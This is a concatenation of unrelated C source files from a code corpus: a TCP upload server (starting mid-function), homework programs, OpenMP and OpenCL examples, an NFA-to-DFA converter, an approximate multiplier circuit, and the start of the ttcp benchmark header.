ret = read_wrapper(s, line, LINE_SIZE, "line read");
if (ret == 0) {
break;
}
fprintf(file, "%s", line);
sum_of_sizes += ret;
}
printf("client %s has sent its file of size=%lu\n", peername, file_size);
printf("total size of uploaded files %lu\n", sum_of_sizes);
close(s);
fclose(file);
return 0;
}
int main(int argc, char *argv[]) {
int ear, rc;
socklen_t len;
struct sockaddr_in server;
if (argc != 2) {
fatal("Usage: %s port", argv[0]);
}
int port = atoi(argv[1]);
/* Tworzymy gniazdko */
ear = socket(PF_INET, SOCK_STREAM, 0);
if (ear == -1) {
syserr("socket");
}
/* Podłączamy do centrali */
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(port);
rc = bind(ear, (struct sockaddr *) &server, sizeof(server));
if (rc == -1)
syserr("bind");
/* Każdy chce wiedzieć jaki to port */
len = (socklen_t) sizeof(server);
rc = getsockname(ear, (struct sockaddr *) &server, &len);
if (rc == -1)
syserr("getsockname");
printf("Listening at port %d\n", (int) ntohs(server.sin_port));
rc = listen(ear, 5);
if (rc == -1) {
syserr("listen");
}
/* No i do pracy */
for (;;) {
int msgsock;
int *con;
pthread_t t;
msgsock = accept(ear, (struct sockaddr *) NULL, NULL);
if (msgsock == -1) {
syserr("accept");
}
/* Tylko dla tego wątku */
con = malloc(sizeof(int));
if (!con) {
syserr("malloc");
}
*con = msgsock;
rc = pthread_create(&t, 0, handle_connection, con);
if (rc == -1) {
syserr("pthread_create");
}
/* No przecież nie będę na niego czekał ... */
rc = pthread_detach(t);
if (rc == -1) {
syserr("pthread_detach");
}
}
}
|
the_stack_data/115764430.c | /* hw12_18b(with_buffer) */
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
FILE *fptr;
int i;
int arr[]={11326,4445,15589,23740,76840};
fptr=fopen("hw12_18.bin","wb");
if(fptr!=NULL)
{
printf("數字為:");
for(i=0;i<5;i++)
printf("%6d",arr[i]);
printf("\n");
fwrite(arr,sizeof(int),5,fptr);
fclose(fptr);
printf("檔案寫入完成!!\n");
}
else
printf("檔案開啟失敗!!\n");
system("pause");
return 0;
}
/*
數字為: 11326 4445 15589 23740 76840
檔案寫入完成!!
Press any key to continue . . .
*/
|
the_stack_data/968102.c | /******************************************************************************
* FILE: omp_mm.c
* DESCRIPTION:
* OpenMp Example - Matrix Multiply - C Version
* Demonstrates a matrix multiply using OpenMP. Threads share row iterations
* according to a predefined chunk size.
* AUTHOR: Blaise Barney
* LAST REVISED: 06/28/05
******************************************************************************/
/**
* This program performs the multiplication of two matrix's.
* Online source:
* https://computing.llnl.gov/tutorials/openMP/samples/C/omp_mm.c
**/
#include <omp.h>
#include <stdio.h>
#include <stdlib.h>
#ifdef _CIVL
#define NRA 4 /* number of rows in matrix A */
#define NCA 4 /* number of columns in matrix A */
#define NCB 4 /* number of columns in matrix B */
#else
#define NRA 8 /* number of rows in matrix A */
#define NCA 8 /* number of columns in matrix A */
#define NCB 8 /* number of columns in matrix B */
#endif
int main (int argc, char *argv[])
{
int tid, nthreads, i, j, k, chunk;
double a[NRA][NCA], /* matrix A to be multiplied */
b[NCA][NCB], /* matrix B to be multiplied */
c[NRA][NCB]; /* result matrix C */
chunk = 10; /* set loop iteration chunk size */
/*** Spawn a parallel region explicitly scoping all variables ***/
#pragma omp parallel shared(a,b,c,nthreads,chunk) private(tid,i,j,k)
{
tid = omp_get_thread_num();
if (tid == 0)
{
nthreads = omp_get_num_threads();
printf("Starting matrix multiple example with %d threads\n",nthreads);
printf("Initializing matrices...\n");
}
/*** Initialize matrices ***/
#pragma omp for schedule (static, chunk)
for (i=0; i<NRA; i++)
for (j=0; j<NCA; j++)
a[i][j]= i+j;
#pragma omp for schedule (static, chunk)
for (i=0; i<NCA; i++)
for (j=0; j<NCB; j++)
b[i][j]= i*j;
#pragma omp for schedule (static, chunk)
for (i=0; i<NRA; i++)
for (j=0; j<NCB; j++)
c[i][j]= 0;
/*** Do matrix multiply sharing iterations on outer loop ***/
/*** Display who does which iterations for demonstration purposes ***/
printf("Thread %d starting matrix multiply...\n",tid);
#pragma omp for schedule (static, chunk)
for (i=0; i<NRA; i++)
{
printf("Thread=%d did row=%d\n",tid,i);
for(j=0; j<NCB; j++)
for (k=0; k<NCA; k++)
c[i][j] += a[i][k] * b[k][j];
}
} /*** End of parallel region ***/
/*** Print results ***/
printf("******************************************************\n");
printf("Result Matrix:\n");
for (i=0; i<NRA; i++)
{
for (j=0; j<NCB; j++)
printf("%6.2f ", c[i][j]);
printf("\n");
}
printf("******************************************************\n");
printf ("Done.\n");
}
|
the_stack_data/57951374.c | /* Tests clSetEventCallback()
Copyright (c) 2013 Ville Korhonen / Tampere University of Technology
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
#include <CL/cl.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
volatile int submit = 0;
volatile int running = 0;
volatile int complete = 0;
void callback_function(cl_event event,
cl_int event_command_exec_status,
void *user_data)
{
printf("%s ", (const char *)user_data);
if(event_command_exec_status == CL_SUBMITTED)
{
printf("CL_SUBMITTED\n");
submit = 1;
}
if(event_command_exec_status == CL_RUNNING)
{
printf("CL_RUNNING\n");
running = 1;
}
if(event_command_exec_status == CL_COMPLETE)
{
printf("CL_COMPLETE\n");
complete = 1;
}
return;
}
char kernelASourceCode[] =
"kernel \n"
"void test_kernel(constant char* input) {\n"
" printf(\"%s\", input);\n"
"}\n";
int main()
{
size_t global_work_size[1] = { 1 }, local_work_size[1]= { 1 };
cl_int err;
cl_platform_id platforms[1];
cl_uint nplatforms;
cl_device_id devices[1]; // + 1 for duplicate test
cl_uint num_devices;
cl_program program = NULL;
cl_kernel kernel = NULL;
char input[] = "kernel in execution\n";
char *user_data = "Callback function: event status:";
cl_mem inputBuffer = NULL;
/* command queues */
cl_command_queue queue = NULL;
/* events */
cl_event an_event = NULL;
int i;
err = clGetPlatformIDs(1, platforms, &nplatforms);
if (err != CL_SUCCESS && !nplatforms)
return EXIT_FAILURE;
err = clGetDeviceIDs(platforms[0], CL_DEVICE_TYPE_ALL, 1,
devices, &num_devices);
if (err != CL_SUCCESS)
return EXIT_FAILURE;
cl_context context = clCreateContext(NULL, num_devices, devices, NULL,
NULL, &err);
if (err != CL_SUCCESS)
return EXIT_FAILURE;
err = clGetContextInfo(context, CL_CONTEXT_DEVICES,
sizeof(cl_device_id), devices, NULL);
if (err != CL_SUCCESS)
{
puts("clGetContextInfo call failed\n");
goto error;
}
queue = clCreateCommandQueue(context, devices[0], 0, NULL);
if (!queue)
{
puts("clCreateCommandQueue call failed\n");
goto error;
}
inputBuffer = clCreateBuffer(context,
CL_MEM_READ_ONLY | CL_MEM_COPY_HOST_PTR,
strlen (input)+1, (void *) input, &err);
if (inputBuffer == NULL)
{
printf("clCreateBuffer call failed err = %d\n", err);
goto error;
}
size_t kernel_size = strlen (kernelASourceCode);
char* kernel_buffer = kernelASourceCode;
program = clCreateProgramWithSource (context, 1,
(const char**)&kernel_buffer,
&kernel_size, &err);
if (err != CL_SUCCESS)
return EXIT_FAILURE;
err = clBuildProgram (program, num_devices, devices, NULL, NULL, NULL);
if (err != CL_SUCCESS)
return EXIT_FAILURE;
kernel = clCreateKernel (program, "test_kernel", NULL);
if (!kernel)
{
puts("clCreateKernel call failed\n");
goto error;
}
err = clSetKernelArg (kernel, 0, sizeof (cl_mem), &inputBuffer);
if (err)
{
puts("clSetKernelArg failed\n");
goto error;
}
/* launch kernel*/
err = clEnqueueNDRangeKernel (queue, kernel, 1, NULL, global_work_size,
local_work_size, 0, NULL, &an_event);
if (err != CL_SUCCESS)
{
puts("clEnqueueNDRangeKernel call failed\n");
goto error;
}
clSetEventCallback(an_event, CL_SUBMITTED, callback_function, user_data);
clSetEventCallback(an_event, CL_RUNNING, callback_function, user_data);
clSetEventCallback(an_event, CL_COMPLETE, callback_function, user_data);
clFinish(queue);
i = 0;
while (!submit || !running || !complete)
{
sleep(1);
++i;
if (i >= 10)
{
puts("Callback functions were not called in 10s -> assume FAIL\n");
return EXIT_FAILURE;
}
}
return EXIT_SUCCESS;
error:
return EXIT_FAILURE;
}
|
the_stack_data/152565.c | //**************************************
// Name: NFA to DFA Conversion
// Description:It is a program for NFA ( Non-deterministic Finite Automata) to DFA (Deterministic Finite Auctomata ) Conversion using the Subset Construction Algorithm.
// By: Ritin (from psc cd)
//
// Inputs:NFA states, inputs, transitions
//
// Returns:DFA transition table
//**************************************
//NFA to DFA conversion
#include <stdio.h>
#include <string.h>
#define STATES 50
struct Dstate
{
char name;
char StateString[STATES+1];
char trans[10];
int is_final;
}Dstates[50];
struct tran
{
char sym;
int tostates[50];
int notran;
};
struct state
{
int no;
struct tran tranlist[50];
};
int stackA[100],stackB[100],C[100],Cptr=-1,Aptr=-1,Bptr=-1;
struct state States[STATES];
char temp[STATES+1],inp[10];
int nos,noi,nof,j,k,nods=-1;
void pushA(int z)
{
stackA[++Aptr]=z;
}
void pushB(int z)
{
stackB[++Bptr]=z;
}
int popA()
{
return stackA[Aptr--];
}
void copy(int i)
{
char temp[STATES+1]=" ";
int k=0;
Bptr=-1;
strcpy(temp,Dstates[i].StateString);
while(temp[k]!='\0')
{
pushB(temp[k]-'0');
k++;
}
}
int popB()
{
return stackB[Bptr--];
}
int peekB()
{
return stackA[Bptr];
}
int peekA()
{
return stackA[Aptr];
}
int seek(int arr[],int ptr,int s)
{
int i;
for(i=0;i<=ptr;i++)
{
if(s==arr[i])
return 1;
}
return 0;
}
void sort()
{
int i,j,temp;
for(i=0;i<Bptr;i++)
{
for(j=0;j<(Bptr-i);j++)
{
if(stackB[j]>stackB[j+1])
{
temp=stackB[j];
stackB[j]=stackB[j+1];
stackB[j+1]=temp;
}
}
}
}
void tostring()
{
int i=0;
sort();
for(i=0;i<=Bptr;i++)
{
temp[i]=stackB[i]+'0';
}
temp[i]='\0';
}
void display_DTran()
{
int i,j;
printf("\n\t\t DFA Transition Table ");
printf("\n\t\t -------------------- ");
printf("\nStates\tString\tInputs\n ");
for(i=0;i<noi;i++)
{
printf("\t%c",inp[i]);
}
printf("\n \t----------");
for(i=0;i<nods;i++)
{
if(Dstates[i].is_final==0)
printf("\n%c",Dstates[i].name);
else
printf("\n*%c",Dstates[i].name);
printf("\t%s",Dstates[i].StateString);
for(j=0;j<noi;j++)
{
printf("\t%c",Dstates[i].trans[j]);
}
}
printf("\n");
}
void move(int st,int j)
{
int ctr=0;
while(ctr<States[st].tranlist[j].notran)
{
pushA(States[st].tranlist[j].tostates[ctr++]);
}
}
void lambda_closure(int st)
{
int ctr=0,in_state=st,curst=st,chk;
while(Aptr!=-1)
{
curst=popA();
ctr=0;
in_state=curst;
while(ctr<=States[curst].tranlist[noi].notran)
{
chk=seek(stackB,Bptr,in_state);
if(chk==0)
pushB(in_state);
in_state=States[curst].tranlist[noi].tostates[ctr++];
chk=seek(stackA,Aptr,in_state);
if(chk==0 && ctr<=States[curst].tranlist[noi].notran)
pushA(in_state);
}
}
}
int main()
{
int final[20],start,fin=0,i;
char c,ans,st[20];
printf("\nEnter no. of states in NFA : ");
scanf("%d",&nos);
for(i=0;i<nos;i++)
{
States[i].no=i;
}
printf("\nEnter the start state : ");
scanf("%d",&start);
printf("Enter the no. of final states : ");
scanf("%d",&nof);
printf("\nEnter the final states : \n");
for(i=0;i<nof;i++)
scanf("%d",&final[i]);
printf("\nEnter the no. of input symbols : ");
scanf("%d",&noi);
c=getchar();
printf("\nEnter the input symbols : \n ");
for(i=0;i<noi;i++)
{
scanf("%c",&inp[i]);
c=getchar();
}
inp[i]='e';
printf("\nEnter the transitions : (-1 to stop)\n");
for(i=0;i<nos;i++)
{
for(j=0;j<=noi;j++)
{
States[i].tranlist[j].sym=inp[j];
k=0;
ans='y';
while(ans=='y')
{
printf("move(%d,%c) : ",i,inp[j]);
scanf("%d",&States[i].tranlist[j].tostates[k++]);
if(States[i].tranlist[j].tostates[k-1]==-1)
{
k--;ans='n';
break;
}
}
States[i].tranlist[j].notran=k;
}
}
//Conversion
i=0;nods=0;fin=0;
pushA(start);
lambda_closure(peekA());
tostring();
Dstates[nods].name='A';
nods++;
strcpy(Dstates[0].StateString,temp);
while(i<nods)
{
for(j=0;j<noi;j++)
{
fin=0;
copy(i);
while(Bptr!=-1)
{
move(popB(),j);
}
while(Aptr!=-1)
lambda_closure(peekA());
tostring();
for(k=0;k<nods;k++)
{
if((strcmp(temp,Dstates[k].StateString)==0))
{
Dstates[i].trans[j]=Dstates[k].name;
break;
}
}
if(k==nods)
{
nods++;
for(k=0;k<nof;k++)
{
fin=seek(stackB,Bptr,final[k]);
if(fin==1)
{
Dstates[nods-1].is_final=1;
break;
} }
strcpy(Dstates[nods-1].StateString,temp);
Dstates[nods-1].name='A'+nods-1;
Dstates[i].trans[j]=Dstates[nods-1].name;
}
}
i++;
}
display_DTran();
return 0;
}
|
the_stack_data/193893550.c | /**
* condition is a pointer
* if(condition) means condition != NULL, why? NULL means false
* condition should be true,
**/
#include<stdio.h>
#include<stdlib.h>
typedef struct nodestructure{
int data;
struct nodestructure * next;
} node;
// Implementation of single linkde list.
node * insertSLL(node * head, int item){
node * tail;
if (head==NULL){
head = (node *) malloc(sizeof(node));
head->data = item;
head->next = NULL;
}
else{
node * temp = (node *) malloc(sizeof(node));
temp->data = item;
temp->next = NULL;
tail = head;
// find the tail of linked list
while(tail->next != NULL){
tail = tail->next;
}
tail->next = temp;
}
return head;
}
void display(node * head){
node * curr;
curr = head;
printf("Single Linked List:");
while(curr != NULL)
{
printf("%d, %p ", curr->data, curr);
curr = curr->next;
printf("\n");
}
}
void freeMemory(node * head){
node * curr;
while((curr=head) != NULL){
head = head->next;
free(curr);
}
}
int main(){
node * head = NULL;
head = insertSLL(head, 2);
if(!head)printf("Something is wrong, because head is still none after calling insertSLL\n");
head = insertSLL(head, 3);
head = insertSLL(head, -3);
head = insertSLL(head, 13);
head = insertSLL(head, 31);
display(head);
freeMemory(head);
return 0;
}
|
the_stack_data/29825486.c | /***
* This code is a part of EvoApproxLib library (ehw.fit.vutbr.cz/approxlib) distributed under The MIT License.
* When used, please cite the following article(s): V. Mrazek, R. Hrbacek, Z. Vasicek and L. Sekanina, "EvoApprox8b: Library of approximate adders and multipliers for circuit design and benchmarking of approximation methods". Design, Automation & Test in Europe Conference & Exhibition (DATE), 2017, Lausanne, 2017, pp. 258-261. doi: 10.23919/DATE.2017.7926993
* This file contains a circuit from evoapprox8b dataset. Note that a new version of library was already published.
***/
#include <stdint.h>
#include <stdlib.h>
/// Approximate function mul8_320
/// Library = EvoApprox8b
/// Circuit = mul8_320
/// Area (180) = 8408
/// Delay (180) = 4.870
/// Power (180) = 4477.40
/// Area (45) = 611
/// Delay (45) = 1.820
/// Power (45) = 390.00
/// Nodes = 120
/// HD = 8179
/// MAE = 0.25000
/// MSE = 1.00000
/// MRE = 0.01 %
/// WCE = 4
/// WCRE = 44 %
/// EP = 6.2 %
uint16_t mul8_320(uint8_t a, uint8_t b)
{
uint16_t c = 0;
uint8_t n0 = (a >> 0) & 0x1;
uint8_t n2 = (a >> 1) & 0x1;
uint8_t n4 = (a >> 2) & 0x1;
uint8_t n6 = (a >> 3) & 0x1;
uint8_t n8 = (a >> 4) & 0x1;
uint8_t n10 = (a >> 5) & 0x1;
uint8_t n12 = (a >> 6) & 0x1;
uint8_t n14 = (a >> 7) & 0x1;
uint8_t n16 = (b >> 0) & 0x1;
uint8_t n18 = (b >> 1) & 0x1;
uint8_t n20 = (b >> 2) & 0x1;
uint8_t n22 = (b >> 3) & 0x1;
uint8_t n24 = (b >> 4) & 0x1;
uint8_t n26 = (b >> 5) & 0x1;
uint8_t n28 = (b >> 6) & 0x1;
uint8_t n30 = (b >> 7) & 0x1;
uint8_t n32;
uint8_t n48;
uint8_t n64;
uint8_t n82;
uint8_t n98;
uint8_t n114;
uint8_t n132;
uint8_t n148;
uint8_t n164;
uint8_t n182;
uint8_t n198;
uint8_t n214;
uint8_t n232;
uint8_t n248;
uint8_t n264;
uint8_t n282;
uint8_t n298;
uint8_t n314;
uint8_t n315;
uint8_t n332;
uint8_t n333;
uint8_t n348;
uint8_t n349;
uint8_t n364;
uint8_t n365;
uint8_t n382;
uint8_t n383;
uint8_t n398;
uint8_t n399;
uint8_t n414;
uint8_t n415;
uint8_t n432;
uint8_t n448;
uint8_t n464;
uint8_t n482;
uint8_t n498;
uint8_t n514;
uint8_t n532;
uint8_t n548;
uint8_t n564;
uint8_t n565;
uint8_t n582;
uint8_t n583;
uint8_t n598;
uint8_t n599;
uint8_t n614;
uint8_t n615;
uint8_t n632;
uint8_t n633;
uint8_t n648;
uint8_t n649;
uint8_t n664;
uint8_t n665;
uint8_t n682;
uint8_t n683;
uint8_t n698;
uint8_t n714;
uint8_t n732;
uint8_t n748;
uint8_t n764;
uint8_t n782;
uint8_t n798;
uint8_t n814;
uint8_t n832;
uint8_t n833;
uint8_t n848;
uint8_t n849;
uint8_t n864;
uint8_t n865;
uint8_t n882;
uint8_t n883;
uint8_t n898;
uint8_t n899;
uint8_t n914;
uint8_t n915;
uint8_t n932;
uint8_t n933;
uint8_t n948;
uint8_t n949;
uint8_t n964;
uint8_t n982;
uint8_t n998;
uint8_t n1014;
uint8_t n1032;
uint8_t n1048;
uint8_t n1064;
uint8_t n1082;
uint8_t n1098;
uint8_t n1099;
uint8_t n1114;
uint8_t n1115;
uint8_t n1132;
uint8_t n1133;
uint8_t n1148;
uint8_t n1149;
uint8_t n1164;
uint8_t n1165;
uint8_t n1182;
uint8_t n1183;
uint8_t n1198;
uint8_t n1199;
uint8_t n1214;
uint8_t n1215;
uint8_t n1232;
uint8_t n1248;
uint8_t n1264;
uint8_t n1282;
uint8_t n1298;
uint8_t n1314;
uint8_t n1332;
uint8_t n1348;
uint8_t n1364;
uint8_t n1365;
uint8_t n1382;
uint8_t n1383;
uint8_t n1398;
uint8_t n1399;
uint8_t n1414;
uint8_t n1415;
uint8_t n1432;
uint8_t n1433;
uint8_t n1448;
uint8_t n1449;
uint8_t n1464;
uint8_t n1465;
uint8_t n1482;
uint8_t n1483;
uint8_t n1498;
uint8_t n1514;
uint8_t n1532;
uint8_t n1548;
uint8_t n1564;
uint8_t n1582;
uint8_t n1598;
uint8_t n1614;
uint8_t n1632;
uint8_t n1633;
uint8_t n1648;
uint8_t n1649;
uint8_t n1664;
uint8_t n1665;
uint8_t n1682;
uint8_t n1683;
uint8_t n1698;
uint8_t n1699;
uint8_t n1714;
uint8_t n1715;
uint8_t n1732;
uint8_t n1733;
uint8_t n1748;
uint8_t n1749;
uint8_t n1764;
uint8_t n1782;
uint8_t n1798;
uint8_t n1814;
uint8_t n1832;
uint8_t n1848;
uint8_t n1864;
uint8_t n1882;
uint8_t n1898;
uint8_t n1899;
uint8_t n1914;
uint8_t n1915;
uint8_t n1932;
uint8_t n1933;
uint8_t n1948;
uint8_t n1949;
uint8_t n1964;
uint8_t n1965;
uint8_t n1982;
uint8_t n1983;
uint8_t n1998;
uint8_t n1999;
uint8_t n2014;
uint8_t n2015;
n32 = n0 & n16;
n48 = n2 & n16;
n64 = n4 & n16;
n82 = n6 & n16;
n98 = n8 & n16;
n114 = n10 & n16;
n132 = n12 & n16;
n148 = n14 & n16;
n164 = n0 & n18;
n182 = n2 & n18;
n198 = n4 & n18;
n214 = n6 & n18;
n232 = n8 & n18;
n248 = n10 & n18;
n264 = n12 & n18;
n282 = n14 & n18;
n298 = n48 ^ n164;
n314 = n64 ^ n182;
n315 = n64 & n182;
n332 = (n82 ^ n198) ^ n315;
n333 = (n82 & n198) | (n198 & n315) | (n82 & n315);
n348 = (n98 ^ n214) ^ n333;
n349 = (n98 & n214) | (n214 & n333) | (n98 & n333);
n364 = (n114 ^ n232) ^ n349;
n365 = (n114 & n232) | (n232 & n349) | (n114 & n349);
n382 = (n132 ^ n248) ^ n365;
n383 = (n132 & n248) | (n248 & n365) | (n132 & n365);
n398 = (n148 ^ n264) ^ n383;
n399 = (n148 & n264) | (n264 & n383) | (n148 & n383);
n414 = n399 ^ n282;
n415 = n399 & n282;
n432 = n0 & n20;
n448 = n2 & n20;
n464 = n4 & n20;
n482 = n6 & n20;
n498 = n8 & n20;
n514 = n10 & n20;
n532 = n12 & n20;
n548 = n14 & n20;
n564 = n314 ^ n432;
n565 = n314 & n432;
n582 = (n332 ^ n448) ^ n565;
n583 = (n332 & n448) | (n448 & n565) | (n332 & n565);
n598 = (n348 ^ n464) ^ n583;
n599 = (n348 & n464) | (n464 & n583) | (n348 & n583);
n614 = (n364 ^ n482) ^ n599;
n615 = (n364 & n482) | (n482 & n599) | (n364 & n599);
n632 = (n382 ^ n498) ^ n615;
n633 = (n382 & n498) | (n498 & n615) | (n382 & n615);
n648 = (n398 ^ n514) ^ n633;
n649 = (n398 & n514) | (n514 & n633) | (n398 & n633);
n664 = (n414 ^ n532) ^ n649;
n665 = (n414 & n532) | (n532 & n649) | (n414 & n649);
n682 = (n415 ^ n548) ^ n665;
n683 = (n415 & n548) | (n548 & n665) | (n415 & n665);
n698 = n0 & n22;
n714 = n2 & n22;
n732 = n4 & n22;
n748 = n6 & n22;
n764 = n8 & n22;
n782 = n10 & n22;
n798 = n12 & n22;
n814 = n14 & n22;
n832 = n582 ^ n698;
n833 = n582 & n698;
n848 = (n598 ^ n714) ^ n833;
n849 = (n598 & n714) | (n714 & n833) | (n598 & n833);
n864 = (n614 ^ n732) ^ n849;
n865 = (n614 & n732) | (n732 & n849) | (n614 & n849);
n882 = (n632 ^ n748) ^ n865;
n883 = (n632 & n748) | (n748 & n865) | (n632 & n865);
n898 = (n648 ^ n764) ^ n883;
n899 = (n648 & n764) | (n764 & n883) | (n648 & n883);
n914 = (n664 ^ n782) ^ n899;
n915 = (n664 & n782) | (n782 & n899) | (n664 & n899);
n932 = (n682 ^ n798) ^ n915;
n933 = (n682 & n798) | (n798 & n915) | (n682 & n915);
n948 = (n683 ^ n814) ^ n933;
n949 = (n683 & n814) | (n814 & n933) | (n683 & n933);
n964 = n0 & n24;
n982 = n2 & n24;
n998 = n4 & n24;
n1014 = n6 & n24;
n1032 = n8 & n24;
n1048 = n10 & n24;
n1064 = n12 & n24;
n1082 = n14 & n24;
n1098 = n848 ^ n964;
n1099 = n848 & n964;
n1114 = (n864 ^ n982) ^ n1099;
n1115 = (n864 & n982) | (n982 & n1099) | (n864 & n1099);
n1132 = (n882 ^ n998) ^ n1115;
n1133 = (n882 & n998) | (n998 & n1115) | (n882 & n1115);
n1148 = (n898 ^ n1014) ^ n1133;
n1149 = (n898 & n1014) | (n1014 & n1133) | (n898 & n1133);
n1164 = (n914 ^ n1032) ^ n1149;
n1165 = (n914 & n1032) | (n1032 & n1149) | (n914 & n1149);
n1182 = (n932 ^ n1048) ^ n1165;
n1183 = (n932 & n1048) | (n1048 & n1165) | (n932 & n1165);
n1198 = (n948 ^ n1064) ^ n1183;
n1199 = (n948 & n1064) | (n1064 & n1183) | (n948 & n1183);
n1214 = (n949 ^ n1082) ^ n1199;
n1215 = (n949 & n1082) | (n1082 & n1199) | (n949 & n1199);
n1232 = n0 & n26;
n1248 = n2 & n26;
n1264 = n4 & n26;
n1282 = n6 & n26;
n1298 = n8 & n26;
n1314 = n10 & n26;
n1332 = n12 & n26;
n1348 = n14 & n26;
n1364 = n1114 ^ n1232;
n1365 = n1114 & n1232;
n1382 = (n1132 ^ n1248) ^ n1365;
n1383 = (n1132 & n1248) | (n1248 & n1365) | (n1132 & n1365);
n1398 = (n1148 ^ n1264) ^ n1383;
n1399 = (n1148 & n1264) | (n1264 & n1383) | (n1148 & n1383);
n1414 = (n1164 ^ n1282) ^ n1399;
n1415 = (n1164 & n1282) | (n1282 & n1399) | (n1164 & n1399);
n1432 = (n1182 ^ n1298) ^ n1415;
n1433 = (n1182 & n1298) | (n1298 & n1415) | (n1182 & n1415);
n1448 = (n1198 ^ n1314) ^ n1433;
n1449 = (n1198 & n1314) | (n1314 & n1433) | (n1198 & n1433);
n1464 = (n1214 ^ n1332) ^ n1449;
n1465 = (n1214 & n1332) | (n1332 & n1449) | (n1214 & n1449);
n1482 = (n1215 ^ n1348) ^ n1465;
n1483 = (n1215 & n1348) | (n1348 & n1465) | (n1215 & n1465);
n1498 = n0 & n28;
n1514 = n2 & n28;
n1532 = n4 & n28;
n1548 = n6 & n28;
n1564 = n8 & n28;
n1582 = n10 & n28;
n1598 = n12 & n28;
n1614 = n14 & n28;
n1632 = n1382 ^ n1498;
n1633 = n1382 & n1498;
n1648 = (n1398 ^ n1514) ^ n1633;
n1649 = (n1398 & n1514) | (n1514 & n1633) | (n1398 & n1633);
n1664 = (n1414 ^ n1532) ^ n1649;
n1665 = (n1414 & n1532) | (n1532 & n1649) | (n1414 & n1649);
n1682 = (n1432 ^ n1548) ^ n1665;
n1683 = (n1432 & n1548) | (n1548 & n1665) | (n1432 & n1665);
n1698 = (n1448 ^ n1564) ^ n1683;
n1699 = (n1448 & n1564) | (n1564 & n1683) | (n1448 & n1683);
n1714 = (n1464 ^ n1582) ^ n1699;
n1715 = (n1464 & n1582) | (n1582 & n1699) | (n1464 & n1699);
n1732 = (n1482 ^ n1598) ^ n1715;
n1733 = (n1482 & n1598) | (n1598 & n1715) | (n1482 & n1715);
n1748 = (n1483 ^ n1614) ^ n1733;
n1749 = (n1483 & n1614) | (n1614 & n1733) | (n1483 & n1733);
n1764 = n0 & n30;
n1782 = n2 & n30;
n1798 = n4 & n30;
n1814 = n6 & n30;
n1832 = n8 & n30;
n1848 = n10 & n30;
n1864 = n12 & n30;
n1882 = n14 & n30;
n1898 = n1648 ^ n1764;
n1899 = n1648 & n1764;
n1914 = (n1664 ^ n1782) ^ n1899;
n1915 = (n1664 & n1782) | (n1782 & n1899) | (n1664 & n1899);
n1932 = (n1682 ^ n1798) ^ n1915;
n1933 = (n1682 & n1798) | (n1798 & n1915) | (n1682 & n1915);
n1948 = (n1698 ^ n1814) ^ n1933;
n1949 = (n1698 & n1814) | (n1814 & n1933) | (n1698 & n1933);
n1964 = (n1714 ^ n1832) ^ n1949;
n1965 = (n1714 & n1832) | (n1832 & n1949) | (n1714 & n1949);
n1982 = (n1732 ^ n1848) ^ n1965;
n1983 = (n1732 & n1848) | (n1848 & n1965) | (n1732 & n1965);
n1998 = (n1748 ^ n1864) ^ n1983;
n1999 = (n1748 & n1864) | (n1864 & n1983) | (n1748 & n1983);
n2014 = (n1749 ^ n1882) ^ n1999;
n2015 = (n1749 & n1882) | (n1882 & n1999) | (n1749 & n1999);
c |= (n32 & 0x1) << 0;
c |= (n298 & 0x1) << 1;
c |= (n564 & 0x1) << 2;
c |= (n832 & 0x1) << 3;
c |= (n1098 & 0x1) << 4;
c |= (n1364 & 0x1) << 5;
c |= (n1632 & 0x1) << 6;
c |= (n1898 & 0x1) << 7;
c |= (n1914 & 0x1) << 8;
c |= (n1932 & 0x1) << 9;
c |= (n1948 & 0x1) << 10;
c |= (n1964 & 0x1) << 11;
c |= (n1982 & 0x1) << 12;
c |= (n1998 & 0x1) << 13;
c |= (n2014 & 0x1) << 14;
c |= (n2015 & 0x1) << 15;
return c;
}
|
the_stack_data/54824604.c | #include <stdio.h>
void hanoi(int,int,int,int);
int main(void){
int n;
printf("Inserire N: ");
scanf("%d",&n);
hanoi(n,0,1,2);
return 0;
}
void hanoi(int n,int from,int temp,int to){
if(n==1){
printf("n=%d, %d -> %d\n",n,from,to);
}else{
hanoi(n-1,from,to,temp);
printf("n=%d, %d -> %d\n",n,from,to);
hanoi(n-1,temp,from,to);
}
}
|
the_stack_data/72784.c |
/*
* T T C P . C
*
* Test TCP connection. Makes a connection on port 5001
* and transfers fabricated buffers or data copied from stdin.
*
* Usable on 4.2, 4.3, and 4.1a systems by defining one of
* BSD42 BSD43 (BSD41a)
* Machines using System V with BSD sockets should define SYSV.
*
* Modified for operation under 4.2BSD, 18 Dec 84
* T.C. Slattery, USNA
* Minor improvements, Mike Muuss and Terry Slattery, 16-Oct-85.
* Modified in 1989 at Silicon Graphics, Inc.
* catch SIGPIPE to be able to print stats when receiver has died
* for tcp, don't look for sentinel during reads to allow small transfers
* increased default buffer size to 8K, nbuf to 2K to transfer 16MB
* moved default port to 5001, beyond IPPORT_USERRESERVED
* make sinkmode default because it is more popular,
* -s now means don't sink/source
* count number of read/write system calls to see effects of
* blocking from full socket buffers
* for tcp, -D option turns off buffered writes (sets TCP_NODELAY sockopt)
* buffer alignment options, -A and -O
* print stats in a format that's a bit easier to use with grep & awk
* for SYSV, mimic BSD routines to use most of the existing timing code
* Modified by Steve Miller of the University of Maryland, College Park
* -b sets the socket buffer size (SO_SNDBUF/SO_RCVBUF)
* Modified Sept. 1989 at Silicon Graphics, Inc.
* restored -s sense at request of tcs@brl
* Modified Oct. 1991 at Silicon Graphics, Inc.
